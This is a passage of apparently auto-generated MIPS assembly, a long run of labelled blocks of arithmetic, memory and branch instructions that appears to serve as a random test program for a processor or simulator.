TAG199:
mult $3, $3
ori $3, $3, 2
bgtz $3, TAG200
lui $3, 7
TAG200:
bne $3, $3, TAG201
mflo $4
mtlo $3
bne $3, $3, TAG201
TAG201:
andi $3, $4, 8
mult $4, $4
multu $4, $4
sltiu $4, $3, 9
TAG202:
lbu $1, 0($4)
lui $3, 11
mthi $1
lbu $1, 0($4)
TAG203:
lui $3, 7
sll $0, $0, 0
mult $1, $1
beq $1, $3, TAG204
TAG204:
mult $3, $3
bgez $3, TAG205
lui $3, 11
beq $3, $3, TAG205
TAG205:
lui $1, 14
multu $1, $1
sll $0, $0, 0
mthi $3
TAG206:
bgez $4, TAG207
mflo $3
bne $4, $4, TAG207
and $3, $3, $4
TAG207:
lw $3, 0($3)
mthi $3
mflo $2
ori $1, $3, 15
TAG208:
lb $2, 0($1)
sll $2, $2, 14
multu $2, $2
mtlo $2
TAG209:
mflo $2
beq $2, $2, TAG210
lui $3, 10
add $3, $3, $3
TAG210:
lui $2, 11
xor $1, $3, $2
bgtz $3, TAG211
multu $3, $1
TAG211:
sll $0, $0, 0
sra $4, $1, 11
lui $3, 3
slti $3, $1, 8
TAG212:
bgtz $3, TAG213
lb $1, 0($3)
multu $3, $1
bltz $3, TAG213
TAG213:
lb $3, 0($1)
bgtz $1, TAG214
andi $3, $3, 4
multu $3, $1
TAG214:
mfhi $3
lbu $3, 0($3)
mfhi $3
sw $3, 0($3)
TAG215:
lui $2, 14
bgez $3, TAG216
sll $0, $0, 0
lui $1, 10
TAG216:
bgez $1, TAG217
sltiu $2, $1, 12
divu $2, $1
mult $1, $1
TAG217:
beq $2, $2, TAG218
sllv $2, $2, $2
mflo $1
mult $1, $2
TAG218:
mfhi $3
sh $1, 0($1)
srav $2, $1, $3
bgtz $2, TAG219
TAG219:
mflo $2
sh $2, 0($2)
srlv $4, $2, $2
mflo $3
TAG220:
lui $3, 7
sllv $4, $3, $3
or $4, $3, $3
mflo $2
TAG221:
mfhi $3
lw $1, 0($2)
sh $2, 0($3)
lb $2, 0($1)
TAG222:
lb $1, 0($2)
addiu $2, $2, 9
srav $3, $2, $1
div $2, $3
TAG223:
mfhi $2
mflo $2
bltz $2, TAG224
lui $2, 12
TAG224:
sll $0, $0, 0
mfhi $2
multu $2, $2
mthi $2
TAG225:
bgez $2, TAG226
lui $1, 3
multu $2, $1
beq $1, $2, TAG226
TAG226:
sll $0, $0, 0
sll $0, $0, 0
lbu $2, 0($3)
bne $3, $3, TAG227
TAG227:
mfhi $1
xori $1, $2, 14
andi $1, $2, 15
and $3, $1, $1
TAG228:
mfhi $1
lui $1, 7
mfhi $3
lhu $2, 0($3)
TAG229:
sh $2, 0($2)
mthi $2
subu $3, $2, $2
lui $2, 10
TAG230:
bgez $2, TAG231
sll $0, $0, 0
mtlo $2
bne $2, $2, TAG231
TAG231:
mflo $4
mtlo $4
mtlo $2
mult $2, $4
TAG232:
mthi $4
mult $4, $4
mthi $4
lui $3, 10
TAG233:
sltiu $2, $3, 11
beq $2, $3, TAG234
lui $3, 5
sw $3, 0($2)
TAG234:
mfhi $2
lb $2, 0($2)
lui $4, 13
lui $1, 4
TAG235:
beq $1, $1, TAG236
sll $0, $0, 0
bgtz $1, TAG236
mtlo $4
TAG236:
sll $0, $0, 0
bne $4, $4, TAG237
multu $4, $4
mthi $4
TAG237:
lui $3, 7
srlv $2, $4, $4
sll $0, $0, 0
mflo $4
TAG238:
mtlo $4
mthi $4
lui $4, 12
div $4, $4
TAG239:
mthi $4
sll $0, $0, 0
mfhi $3
divu $4, $3
TAG240:
or $1, $3, $3
slti $3, $3, 6
bgez $1, TAG241
mfhi $1
TAG241:
bltz $1, TAG242
sub $4, $1, $1
lui $3, 2
bltz $4, TAG242
TAG242:
subu $1, $3, $3
lui $3, 9
addiu $2, $3, 7
sb $1, 0($1)
TAG243:
divu $2, $2
mtlo $2
mtlo $2
srlv $2, $2, $2
TAG244:
lui $1, 8
addiu $4, $1, 8
slt $4, $2, $2
mfhi $1
TAG245:
bne $1, $1, TAG246
slti $4, $1, 10
sllv $4, $4, $1
sll $4, $4, 11
TAG246:
sh $4, -2048($4)
lui $1, 2
and $2, $1, $4
sltiu $2, $1, 15
TAG247:
bltz $2, TAG248
lh $3, 0($2)
addiu $4, $3, 11
subu $4, $2, $2
TAG248:
addu $2, $4, $4
mthi $2
sb $2, 0($4)
lb $1, 0($2)
TAG249:
lui $1, 11
multu $1, $1
bgez $1, TAG250
lui $1, 6
TAG250:
or $3, $1, $1
bgtz $1, TAG251
sll $0, $0, 0
bgtz $3, TAG251
TAG251:
multu $4, $4
sh $4, 0($4)
bgez $4, TAG252
mfhi $4
TAG252:
lhu $4, 0($4)
bne $4, $4, TAG253
mflo $2
mult $4, $2
TAG253:
mflo $4
lhu $4, 0($2)
mthi $4
blez $2, TAG254
TAG254:
slti $4, $4, 6
lbu $3, 0($4)
mthi $4
slti $3, $4, 7
TAG255:
bltz $3, TAG256
div $3, $3
sra $1, $3, 11
lui $3, 14
TAG256:
sll $0, $0, 0
sll $0, $0, 0
mflo $2
mtlo $2
TAG257:
sb $2, 0($2)
sb $2, 0($2)
bgez $2, TAG258
andi $4, $2, 0
TAG258:
mthi $4
blez $4, TAG259
sw $4, 0($4)
sh $4, 0($4)
TAG259:
multu $4, $4
lui $3, 6
bgtz $4, TAG260
lhu $4, 0($4)
TAG260:
subu $3, $4, $4
lui $2, 12
lbu $2, 0($3)
lui $1, 8
TAG261:
sllv $4, $1, $1
mflo $3
sll $0, $0, 0
mtlo $3
TAG262:
mthi $3
multu $3, $3
or $1, $3, $3
mfhi $1
TAG263:
bne $1, $1, TAG264
sh $1, 0($1)
lb $1, 0($1)
sh $1, 0($1)
TAG264:
sb $1, 0($1)
lw $3, 0($1)
srl $4, $3, 10
mflo $4
TAG265:
lh $4, 0($4)
lui $4, 11
addiu $1, $4, 2
sll $0, $0, 0
TAG266:
mtlo $4
sll $0, $0, 0
slti $3, $4, 2
ori $2, $3, 10
TAG267:
addiu $2, $2, 9
bltz $2, TAG268
lui $2, 10
mtlo $2
TAG268:
mthi $2
sll $0, $0, 0
mfhi $1
divu $1, $1
TAG269:
and $3, $1, $1
sll $0, $0, 0
lui $3, 15
bne $3, $1, TAG270
TAG270:
sll $0, $0, 0
mthi $3
srl $2, $3, 3
mthi $3
TAG271:
mult $2, $2
addu $2, $2, $2
sll $0, $0, 0
sll $0, $0, 0
TAG272:
sll $0, $0, 0
sltiu $4, $3, 14
bne $3, $4, TAG273
mflo $4
TAG273:
bne $4, $4, TAG274
sll $2, $4, 3
bgtz $4, TAG274
div $4, $2
TAG274:
div $2, $2
sll $0, $0, 0
sll $2, $2, 7
mult $2, $2
TAG275:
mfhi $4
bne $2, $4, TAG276
mthi $2
sb $4, 0($2)
TAG276:
bgtz $4, TAG277
mtlo $4
mflo $4
lb $1, 0($4)
TAG277:
blez $1, TAG278
xori $1, $1, 5
lh $4, 0($1)
mult $1, $4
TAG278:
sltu $1, $4, $4
mult $1, $1
bne $4, $4, TAG279
mflo $2
TAG279:
blez $2, TAG280
srl $3, $2, 7
lbu $2, 0($2)
mult $3, $2
TAG280:
srl $1, $2, 14
bne $1, $1, TAG281
mult $2, $1
mult $1, $2
TAG281:
or $4, $1, $1
lui $2, 8
mthi $1
sb $1, 0($1)
TAG282:
mfhi $3
beq $2, $2, TAG283
lui $4, 12
mfhi $2
TAG283:
sll $0, $0, 0
mtlo $2
lui $3, 12
mtlo $3
TAG284:
divu $3, $3
multu $3, $3
subu $2, $3, $3
mtlo $2
TAG285:
lui $1, 7
sll $0, $0, 0
sh $3, 0($2)
sh $2, 0($2)
TAG286:
sll $1, $3, 5
mthi $1
mflo $3
mfhi $3
TAG287:
mult $3, $3
mthi $3
subu $1, $3, $3
mthi $3
TAG288:
lbu $3, 0($1)
multu $3, $1
mthi $3
lui $3, 4
TAG289:
mfhi $1
addu $1, $3, $3
blez $1, TAG290
lui $4, 10
TAG290:
bne $4, $4, TAG291
sll $0, $0, 0
sll $0, $0, 0
sltiu $3, $4, 3
TAG291:
mthi $3
slti $2, $3, 6
mult $3, $3
mfhi $4
TAG292:
bgtz $4, TAG293
lh $1, 0($4)
lw $1, 0($1)
bltz $1, TAG293
TAG293:
lui $4, 0
mtlo $4
lb $1, 0($1)
mtlo $1
TAG294:
sub $4, $1, $1
slt $2, $1, $1
addu $4, $4, $4
lh $2, 0($4)
TAG295:
mflo $2
bgtz $2, TAG296
mthi $2
sll $2, $2, 1
TAG296:
mult $2, $2
sllv $4, $2, $2
beq $2, $2, TAG297
mthi $4
TAG297:
mthi $4
multu $4, $4
mtlo $4
bne $4, $4, TAG298
TAG298:
mult $4, $4
mult $4, $4
multu $4, $4
or $1, $4, $4
TAG299:
andi $4, $1, 8
bltz $4, TAG300
lui $2, 6
lui $1, 13
TAG300:
sll $0, $0, 0
mflo $2
mflo $1
lui $2, 15
TAG301:
lui $3, 7
ori $3, $2, 0
srlv $3, $3, $3
sll $0, $0, 0
TAG302:
mfhi $1
multu $1, $1
mtlo $3
mthi $3
TAG303:
beq $1, $1, TAG304
mult $1, $1
sltiu $4, $1, 12
mfhi $4
TAG304:
mthi $4
mult $4, $4
slti $3, $4, 7
blez $4, TAG305
TAG305:
mthi $3
sb $3, 0($3)
multu $3, $3
mtlo $3
TAG306:
bne $3, $3, TAG307
lui $3, 13
sll $0, $0, 0
sll $0, $0, 0
TAG307:
mtlo $3
lui $1, 4
mtlo $3
ori $4, $1, 0
TAG308:
sll $0, $0, 0
and $3, $4, $4
subu $1, $4, $4
sll $0, $0, 0
TAG309:
lhu $3, 0($1)
bltz $3, TAG310
lui $2, 6
mflo $2
TAG310:
beq $2, $2, TAG311
sra $3, $2, 12
bne $2, $3, TAG311
sw $3, 0($2)
TAG311:
multu $3, $3
divu $3, $3
bgtz $3, TAG312
mtlo $3
TAG312:
blez $3, TAG313
slti $1, $3, 7
sw $3, -208($3)
lbu $3, -208($3)
TAG313:
mthi $3
srl $4, $3, 8
sltiu $3, $4, 5
mfhi $1
TAG314:
bne $1, $1, TAG315
sra $2, $1, 11
mtlo $1
mflo $2
TAG315:
mthi $2
lui $2, 4
sll $0, $0, 0
div $2, $1
TAG316:
bgtz $1, TAG317
sw $1, -208($1)
mthi $1
bne $1, $1, TAG317
TAG317:
sh $1, -208($1)
mult $1, $1
and $4, $1, $1
srav $1, $1, $4
TAG318:
srav $3, $1, $1
lui $4, 8
mfhi $4
slti $2, $1, 14
TAG319:
mflo $4
lui $4, 14
sb $4, 0($2)
mflo $2
TAG320:
lui $1, 7
divu $2, $1
sll $0, $0, 0
sll $0, $0, 0
TAG321:
lui $2, 13
bltz $2, TAG322
lui $3, 1
bne $2, $2, TAG322
TAG322:
sll $0, $0, 0
mflo $4
lb $3, 0($4)
lb $1, 48($3)
TAG323:
subu $1, $1, $1
multu $1, $1
lhu $4, 0($1)
or $1, $1, $1
TAG324:
bgtz $1, TAG325
lui $1, 12
andi $2, $1, 8
mtlo $1
TAG325:
lb $2, 0($2)
and $1, $2, $2
mtlo $2
mtlo $1
TAG326:
bltz $1, TAG327
sltiu $2, $1, 13
mthi $2
beq $1, $2, TAG327
TAG327:
mtlo $2
multu $2, $2
bltz $2, TAG328
sb $2, 0($2)
TAG328:
mthi $2
bne $2, $2, TAG329
mtlo $2
multu $2, $2
TAG329:
sw $2, 0($2)
slti $3, $2, 3
addi $2, $2, 10
lb $1, 0($3)
TAG330:
mfhi $2
mtlo $2
sb $2, 0($2)
sh $2, 0($2)
TAG331:
mfhi $1
multu $2, $1
bne $2, $2, TAG332
lui $4, 9
TAG332:
lui $3, 9
sll $0, $0, 0
slti $3, $1, 1
mthi $3
TAG333:
sb $3, 0($3)
xori $2, $3, 6
mfhi $2
sb $2, 0($2)
TAG334:
lbu $1, 0($2)
mult $1, $2
lbu $4, 0($1)
sb $4, 0($1)
TAG335:
mflo $1
lui $1, 13
sll $0, $0, 0
bltz $1, TAG336
TAG336:
sll $0, $0, 0
bgtz $1, TAG337
div $1, $4
lui $2, 10
TAG337:
xori $3, $2, 11
bltz $2, TAG338
mthi $3
sb $2, 0($2)
TAG338:
bgez $3, TAG339
mfhi $1
sh $3, 0($3)
beq $1, $3, TAG339
TAG339:
mtlo $1
mflo $3
blez $3, TAG340
lh $3, 0($3)
TAG340:
beq $3, $3, TAG341
sw $3, 0($3)
blez $3, TAG341
slti $3, $3, 7
TAG341:
lhu $4, 0($3)
lui $2, 8
mfhi $1
multu $4, $4
TAG342:
sh $1, 0($1)
mflo $1
sra $3, $1, 3
mult $3, $1
TAG343:
mflo $4
add $4, $3, $3
slt $3, $4, $4
or $4, $4, $3
TAG344:
mult $4, $4
srlv $4, $4, $4
mult $4, $4
srl $2, $4, 4
TAG345:
sh $2, 0($2)
mtlo $2
mthi $2
mthi $2
TAG346:
sb $2, 0($2)
mult $2, $2
blez $2, TAG347
mfhi $4
TAG347:
mtlo $4
bgtz $4, TAG348
xor $3, $4, $4
sb $4, 0($4)
TAG348:
mult $3, $3
mflo $2
blez $2, TAG349
lb $2, 0($2)
TAG349:
multu $2, $2
mflo $1
lui $3, 5
lui $2, 5
TAG350:
lui $2, 2
slti $1, $2, 10
sll $0, $0, 0
lhu $4, 0($1)
TAG351:
lui $3, 3
bgtz $4, TAG352
addu $3, $3, $4
sll $1, $3, 3
TAG352:
srav $2, $1, $1
sll $0, $0, 0
mflo $2
sll $0, $0, 0
TAG353:
multu $2, $2
lw $3, 0($2)
bgtz $3, TAG354
lui $1, 13
TAG354:
bne $1, $1, TAG355
lui $3, 10
sll $0, $0, 0
nor $4, $1, $3
TAG355:
mtlo $4
divu $4, $4
mthi $4
multu $4, $4
TAG356:
beq $4, $4, TAG357
xori $2, $4, 7
lh $1, 0($2)
bgez $4, TAG357
TAG357:
andi $2, $1, 6
sw $2, 0($2)
andi $3, $2, 14
subu $4, $1, $1
TAG358:
multu $4, $4
multu $4, $4
addi $3, $4, 14
mflo $1
TAG359:
lui $3, 12
sb $3, 0($1)
sll $0, $0, 0
andi $3, $2, 4
TAG360:
blez $3, TAG361
lui $4, 4
bltz $4, TAG361
sub $3, $4, $3
TAG361:
bltz $3, TAG362
mult $3, $3
addiu $4, $3, 11
and $4, $3, $3
TAG362:
mfhi $1
lui $4, 8
sh $4, 0($1)
mfhi $1
TAG363:
mfhi $2
lbu $2, 0($2)
lui $2, 11
subu $3, $2, $2
TAG364:
multu $3, $3
mthi $3
lui $3, 8
beq $3, $3, TAG365
TAG365:
lui $2, 8
beq $2, $2, TAG366
lui $4, 7
lhu $3, 0($3)
TAG366:
bgez $3, TAG367
sll $0, $0, 0
bltz $3, TAG367
div $3, $3
TAG367:
sll $0, $0, 0
mult $3, $3
mtlo $3
mthi $2
TAG368:
divu $2, $2
mfhi $2
lui $4, 8
multu $4, $2
TAG369:
sll $0, $0, 0
sra $1, $4, 10
sll $0, $0, 0
multu $3, $4
TAG370:
sll $0, $0, 0
mflo $4
beq $4, $4, TAG371
mtlo $3
TAG371:
mfhi $3
add $3, $4, $3
mult $4, $3
bltz $4, TAG372
TAG372:
sra $4, $3, 8
sb $3, 0($4)
lhu $3, 0($3)
div $4, $3
TAG373:
lui $2, 5
nor $1, $3, $2
sll $0, $0, 0
lui $1, 0
TAG374:
bne $1, $1, TAG375
mthi $1
and $2, $1, $1
lh $1, 0($1)
TAG375:
or $2, $1, $1
mfhi $3
lbu $4, 0($1)
lui $3, 15
TAG376:
mfhi $1
lh $2, 0($1)
bltz $3, TAG377
sw $2, 0($1)
TAG377:
mtlo $2
bltz $2, TAG378
mthi $2
lw $1, 0($2)
TAG378:
bne $1, $1, TAG379
sll $3, $1, 4
mthi $3
mfhi $2
TAG379:
bgtz $2, TAG380
addiu $4, $2, 7
lw $4, 0($2)
mfhi $4
TAG380:
beq $4, $4, TAG381
mult $4, $4
lui $2, 9
bgez $2, TAG381
TAG381:
multu $2, $2
bgez $2, TAG382
addiu $4, $2, 6
bgez $4, TAG382
TAG382:
addiu $2, $4, 14
lui $2, 5
multu $4, $2
divu $4, $4
TAG383:
lui $4, 7
beq $2, $2, TAG384
sll $0, $0, 0
beq $4, $4, TAG384
TAG384:
sll $0, $0, 0
sll $0, $0, 0
srlv $2, $4, $4
lui $1, 0
TAG385:
sub $3, $1, $1
addi $1, $1, 12
sh $1, 0($1)
or $4, $1, $3
TAG386:
div $4, $4
sb $4, 0($4)
andi $1, $4, 7
mflo $2
TAG387:
lui $4, 12
lui $2, 13
sll $0, $0, 0
sll $0, $0, 0
TAG388:
sub $1, $3, $3
nor $2, $3, $3
and $4, $3, $1
lhu $3, 1($2)
TAG389:
bne $3, $3, TAG390
lui $3, 13
sll $0, $0, 0
sllv $3, $3, $3
TAG390:
mflo $1
sll $3, $1, 10
sltiu $4, $3, 5
addiu $4, $3, 3
TAG391:
lui $4, 10
nor $3, $4, $4
mflo $4
or $1, $3, $4
TAG392:
mult $1, $1
bne $1, $1, TAG393
div $1, $1
mtlo $1
TAG393:
sll $4, $1, 12
xori $2, $1, 11
sra $1, $4, 12
addu $3, $1, $4
TAG394:
divu $3, $3
div $3, $3
bne $3, $3, TAG395
divu $3, $3
TAG395:
beq $3, $3, TAG396
mtlo $3
sll $2, $3, 0
blez $3, TAG396
TAG396:
divu $2, $2
mtlo $2
andi $1, $2, 8
bne $1, $1, TAG397
TAG397:
nor $2, $1, $1
addu $3, $2, $2
blez $2, TAG398
lui $4, 2
TAG398:
sll $0, $0, 0
mtlo $4
bne $4, $4, TAG399
sllv $3, $4, $4
TAG399:
lui $1, 5
addu $2, $3, $1
bgez $3, TAG400
sll $2, $1, 7
TAG400:
lui $1, 13
sllv $1, $2, $2
mthi $1
or $4, $1, $2
TAG401:
bgez $4, TAG402
sll $0, $0, 0
bne $4, $4, TAG402
mfhi $4
TAG402:
sll $0, $0, 0
beq $3, $4, TAG403
lui $4, 11
div $3, $4
TAG403:
mtlo $4
multu $4, $4
bltz $4, TAG404
lui $1, 3
TAG404:
mult $1, $1
blez $1, TAG405
sll $0, $0, 0
bltz $1, TAG405
TAG405:
sll $0, $0, 0
bgez $1, TAG406
lui $1, 7
andi $4, $1, 4
TAG406:
sll $0, $0, 0
mtlo $4
sll $0, $0, 0
sll $0, $0, 0
TAG407:
subu $1, $4, $4
addi $1, $1, 15
sll $0, $0, 0
mtlo $1
TAG408:
mflo $2
sb $1, 0($2)
bgtz $2, TAG409
sb $1, 0($2)
TAG409:
sb $2, 0($2)
lui $3, 15
bne $2, $3, TAG410
or $4, $2, $2
TAG410:
mflo $4
sltu $1, $4, $4
mtlo $4
bne $4, $4, TAG411
TAG411:
lui $4, 13
bne $1, $4, TAG412
sltiu $3, $4, 2
div $3, $4
TAG412:
lb $2, 0($3)
beq $2, $3, TAG413
andi $4, $3, 3
bgtz $3, TAG413
TAG413:
lui $3, 9
and $3, $3, $3
xori $3, $3, 5
bgtz $3, TAG414
TAG414:
srl $4, $3, 0
bne $4, $4, TAG415
mflo $4
mthi $3
TAG415:
lui $2, 13
mflo $2
mult $2, $4
mflo $4
TAG416:
srav $4, $4, $4
lui $3, 1
bgez $4, TAG417
addu $2, $4, $3
TAG417:
addiu $1, $2, 6
lui $1, 2
mtlo $1
sll $0, $0, 0
TAG418:
sll $0, $0, 0
addiu $3, $3, 6
lui $1, 13
sll $0, $0, 0
TAG419:
blez $2, TAG420
mtlo $2
bgtz $2, TAG420
mflo $2
TAG420:
mfhi $1
lui $1, 9
mtlo $2
sll $0, $0, 0
TAG421:
divu $2, $2
mthi $2
bne $2, $2, TAG422
sll $0, $0, 0
TAG422:
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
bne $3, $2, TAG423
TAG423:
multu $4, $4
lh $4, 0($4)
mfhi $2
bgtz $4, TAG424
TAG424:
addiu $4, $2, 15
lb $4, 0($4)
slt $1, $4, $2
beq $2, $4, TAG425
TAG425:
sb $1, 0($1)
mflo $1
ori $1, $1, 5
mfhi $2
TAG426:
lui $4, 6
mult $2, $2
mult $4, $2
lui $3, 5
TAG427:
lui $1, 5
mflo $4
mthi $4
lui $2, 8
TAG428:
lui $2, 9
mflo $4
mult $4, $2
sw $2, 0($4)
TAG429:
lw $3, 0($4)
subu $3, $4, $3
sll $0, $0, 0
lhu $3, 0($4)
TAG430:
sh $3, 0($3)
addi $1, $3, 3
lui $4, 0
sh $4, 0($3)
TAG431:
beq $4, $4, TAG432
mtlo $4
sll $1, $4, 11
lh $4, 0($1)
TAG432:
beq $4, $4, TAG433
lui $4, 8
lb $3, 0($4)
lui $1, 13
TAG433:
mthi $1
lui $3, 11
div $3, $3
srlv $2, $1, $1
TAG434:
lb $4, 0($2)
srav $4, $4, $4
beq $4, $2, TAG435
nor $3, $4, $4
TAG435:
div $3, $3
lh $4, 1($3)
multu $4, $3
slti $1, $4, 2
TAG436:
multu $1, $1
sllv $3, $1, $1
addu $3, $1, $3
lui $2, 14
TAG437:
sll $0, $0, 0
lui $2, 5
sll $0, $0, 0
sb $2, 0($4)
TAG438:
mtlo $2
sltiu $4, $2, 6
addu $4, $2, $4
divu $2, $2
TAG439:
bne $4, $4, TAG440
sll $0, $0, 0
mfhi $2
multu $4, $2
TAG440:
sw $2, 0($2)
lui $2, 2
divu $2, $2
sll $0, $0, 0
TAG441:
mtlo $4
bltz $4, TAG442
sll $0, $0, 0
sll $0, $0, 0
TAG442:
sll $0, $0, 0
mtlo $4
sll $0, $0, 0
andi $1, $4, 8
TAG443:
lb $1, 0($1)
mult $1, $1
lw $3, 0($1)
multu $1, $1
TAG444:
blez $3, TAG445
mtlo $3
xor $2, $3, $3
mtlo $2
TAG445:
xori $1, $2, 1
mfhi $1
mtlo $2
ori $4, $1, 11
TAG446:
sb $4, 0($4)
sb $4, 0($4)
multu $4, $4
lbu $3, 0($4)
TAG447:
lui $4, 2
lui $2, 10
bne $4, $2, TAG448
lb $2, 0($3)
TAG448:
sra $4, $2, 8
lb $4, 0($4)
lui $1, 1
bne $4, $2, TAG449
TAG449:
ori $2, $1, 2
mtlo $2
sll $0, $0, 0
mfhi $1
TAG450:
mult $1, $1
sw $1, 0($1)
bne $1, $1, TAG451
mthi $1
TAG451:
bgtz $1, TAG452
sub $1, $1, $1
lui $1, 2
addu $2, $1, $1
TAG452:
mthi $2
sll $0, $0, 0
lui $4, 12
srl $4, $4, 7
TAG453:
mflo $3
lui $2, 9
lui $4, 1
lbu $4, 0($3)
TAG454:
nor $4, $4, $4
or $2, $4, $4
sb $4, 1($4)
beq $4, $2, TAG455
TAG455:
addiu $1, $2, 14
blez $1, TAG456
lui $3, 14
srlv $3, $3, $1
TAG456:
lui $4, 15
xor $3, $4, $4
blez $4, TAG457
sll $0, $0, 0
TAG457:
bltz $1, TAG458
sra $4, $1, 2
lui $2, 14
lui $4, 14
TAG458:
sll $0, $0, 0
sll $0, $0, 0
lui $4, 12
srlv $4, $3, $4
TAG459:
mult $4, $4
bne $4, $4, TAG460
mthi $4
add $3, $4, $4
TAG460:
sb $3, 0($3)
lb $1, 0($3)
sh $3, 0($3)
sh $1, 0($1)
TAG461:
sw $1, 0($1)
add $2, $1, $1
bne $2, $2, TAG462
mtlo $1
TAG462:
sb $2, 0($2)
sb $2, 0($2)
lh $4, 0($2)
lui $1, 1
TAG463:
nor $1, $1, $1
sll $0, $0, 0
sll $0, $0, 0
bgez $1, TAG464
TAG464:
lui $4, 12
sll $0, $0, 0
divu $4, $4
bne $2, $2, TAG465
TAG465:
addiu $2, $4, 12
bne $2, $2, TAG466
mtlo $2
lui $2, 2
TAG466:
bgtz $2, TAG467
lui $2, 15
lhu $1, 0($2)
mflo $4
TAG467:
sll $0, $0, 0
lui $1, 11
or $1, $4, $1
mfhi $4
TAG468:
blez $4, TAG469
lh $3, 0($4)
sw $4, 0($3)
lh $3, 0($3)
TAG469:
mthi $3
lh $4, 0($3)
mfhi $4
sra $4, $4, 10
TAG470:
mult $4, $4
lh $2, 0($4)
sb $4, 0($2)
mthi $2
TAG471:
mfhi $1
lbu $2, 0($2)
lui $1, 1
sb $1, 0($2)
TAG472:
lui $4, 4
mthi $1
mflo $3
sll $0, $0, 0
TAG473:
sh $3, 0($3)
lb $1, 0($3)
lh $3, 0($3)
sb $3, 0($3)
TAG474:
beq $3, $3, TAG475
mthi $3
xor $3, $3, $3
mtlo $3
TAG475:
xori $3, $3, 11
mfhi $4
bltz $3, TAG476
div $4, $3
TAG476:
lui $1, 11
mthi $4
sll $0, $0, 0
lui $2, 4
TAG477:
bgtz $2, TAG478
divu $2, $2
lui $3, 0
blez $2, TAG478
TAG478:
lui $1, 7
multu $3, $1
mflo $3
sll $0, $0, 0
TAG479:
sll $0, $0, 0
bne $3, $3, TAG480
mtlo $3
srl $4, $3, 10
TAG480:
sll $0, $0, 0
sb $1, -4928($4)
divu $1, $1
bltz $1, TAG481
TAG481:
xor $2, $1, $1
bltz $1, TAG482
mfhi $4
andi $2, $4, 6
TAG482:
sh $2, 0($2)
slt $2, $2, $2
mtlo $2
lui $3, 11
TAG483:
bgez $3, TAG484
div $3, $3
sb $3, 0($3)
andi $1, $3, 10
TAG484:
sltu $3, $1, $1
addiu $2, $1, 14
blez $3, TAG485
mthi $1
TAG485:
sll $0, $0, 0
mfhi $3
mflo $2
andi $2, $3, 13
TAG486:
lb $1, 0($2)
blez $2, TAG487
mthi $2
bne $1, $1, TAG487
TAG487:
sb $1, 0($1)
lui $1, 11
mflo $2
mtlo $1
TAG488:
sb $2, 0($2)
lui $2, 3
lui $1, 12
sll $0, $0, 0
TAG489:
slti $3, $1, 6
mtlo $3
addiu $1, $1, 11
lui $4, 15
TAG490:
sltu $2, $4, $4
mflo $4
sltiu $2, $4, 7
sb $4, 0($2)
TAG491:
xor $4, $2, $2
blez $4, TAG492
multu $4, $4
div $2, $2
TAG492:
lh $1, 0($4)
lui $4, 5
mthi $1
addiu $2, $1, 5
TAG493:
subu $1, $2, $2
multu $1, $2
mult $1, $1
bne $1, $1, TAG494
TAG494:
sb $1, 0($1)
lw $2, 0($1)
lui $1, 3
lui $1, 3
TAG495:
sll $0, $0, 0
sll $0, $0, 0
andi $1, $1, 3
mflo $2
TAG496:
lw $4, 0($2)
blez $4, TAG497
lb $1, 0($4)
mfhi $4
TAG497:
mult $4, $4
lui $3, 12
subu $1, $4, $3
mflo $1
TAG498:
lui $2, 8
mtlo $2
lhu $2, 0($1)
lui $2, 10
TAG499:
mthi $2
sll $0, $0, 0
bltz $2, TAG500
add $2, $4, $4
TAG500:
bgtz $2, TAG501
mtlo $2
lui $4, 8
mtlo $2
TAG501:
sll $0, $0, 0
lh $1, 0($1)
mflo $3
lui $2, 13
TAG502:
lui $2, 3
sllv $1, $2, $2
div $2, $1
bne $2, $2, TAG503
TAG503:
sll $0, $0, 0
divu $1, $1
sll $0, $0, 0
mthi $1
TAG504:
div $2, $2
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
TAG505:
lbu $3, 0($3)
sra $1, $3, 11
lw $1, 0($1)
bltz $3, TAG506
TAG506:
sb $1, 0($1)
lh $1, 0($1)
mflo $2
sltiu $4, $1, 9
TAG507:
subu $1, $4, $4
mtlo $4
multu $4, $4
xori $4, $4, 8
TAG508:
lui $3, 2
lui $2, 0
subu $3, $2, $2
mthi $3
TAG509:
lb $2, 0($3)
lui $1, 7
mflo $1
mflo $1
TAG510:
mtlo $1
lb $3, 0($1)
lb $2, 0($1)
multu $3, $2
TAG511:
mult $2, $2
lui $1, 11
bgez $2, TAG512
mthi $2
TAG512:
sll $0, $0, 0
addiu $2, $1, 9
bne $1, $1, TAG513
and $1, $1, $1
TAG513:
lui $1, 1
mflo $4
sll $0, $0, 0
sltiu $3, $1, 1
TAG514:
beq $3, $3, TAG515
slt $4, $3, $3
multu $3, $3
div $3, $3
TAG515:
mflo $3
sb $3, 0($4)
sb $3, 0($4)
lui $1, 14
TAG516:
addu $3, $1, $1
ori $2, $1, 8
or $4, $3, $3
lui $4, 10
TAG517:
mthi $4
mthi $4
lui $3, 8
srl $4, $4, 4
TAG518:
addiu $3, $4, 0
beq $3, $4, TAG519
sll $0, $0, 0
mthi $4
TAG519:
mflo $2
lui $4, 12
sll $0, $0, 0
div $1, $3
TAG520:
bne $1, $1, TAG521
mfhi $4
lui $3, 1
srlv $3, $1, $1
TAG521:
mthi $3
mthi $3
div $3, $3
addu $3, $3, $3
TAG522:
mflo $2
mult $2, $3
sb $2, 0($2)
beq $3, $3, TAG523
TAG523:
mflo $3
mthi $2
multu $3, $2
mflo $1
TAG524:
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
blez $1, TAG525
TAG525:
mthi $1
mthi $1
sll $0, $0, 0
or $1, $1, $1
TAG526:
sll $0, $0, 0
lui $1, 8
div $1, $4
beq $1, $1, TAG527
TAG527:
mult $1, $1
lui $1, 12
sltiu $2, $1, 10
sll $0, $0, 0
TAG528:
beq $2, $2, TAG529
lui $4, 6
blez $2, TAG529
sh $2, 0($2)
TAG529:
or $2, $4, $4
sll $0, $0, 0
lui $1, 7
lui $3, 9
TAG530:
sllv $3, $3, $3
blez $3, TAG531
div $3, $3
sll $0, $0, 0
TAG531:
sll $0, $0, 0
bne $2, $2, TAG532
sll $0, $0, 0
sra $2, $2, 11
TAG532:
sb $2, -192($2)
sh $2, -192($2)
slt $4, $2, $2
lui $2, 13
TAG533:
sll $0, $0, 0
lui $3, 13
subu $3, $3, $2
sll $0, $0, 0
TAG534:
sw $3, 0($3)
lui $2, 7
mult $3, $2
mfhi $1
TAG535:
and $4, $1, $1
beq $4, $1, TAG536
mflo $4
srav $1, $4, $4
TAG536:
bgtz $1, TAG537
mflo $1
lui $2, 12
bne $2, $1, TAG537
TAG537:
slt $3, $2, $2
bgez $2, TAG538
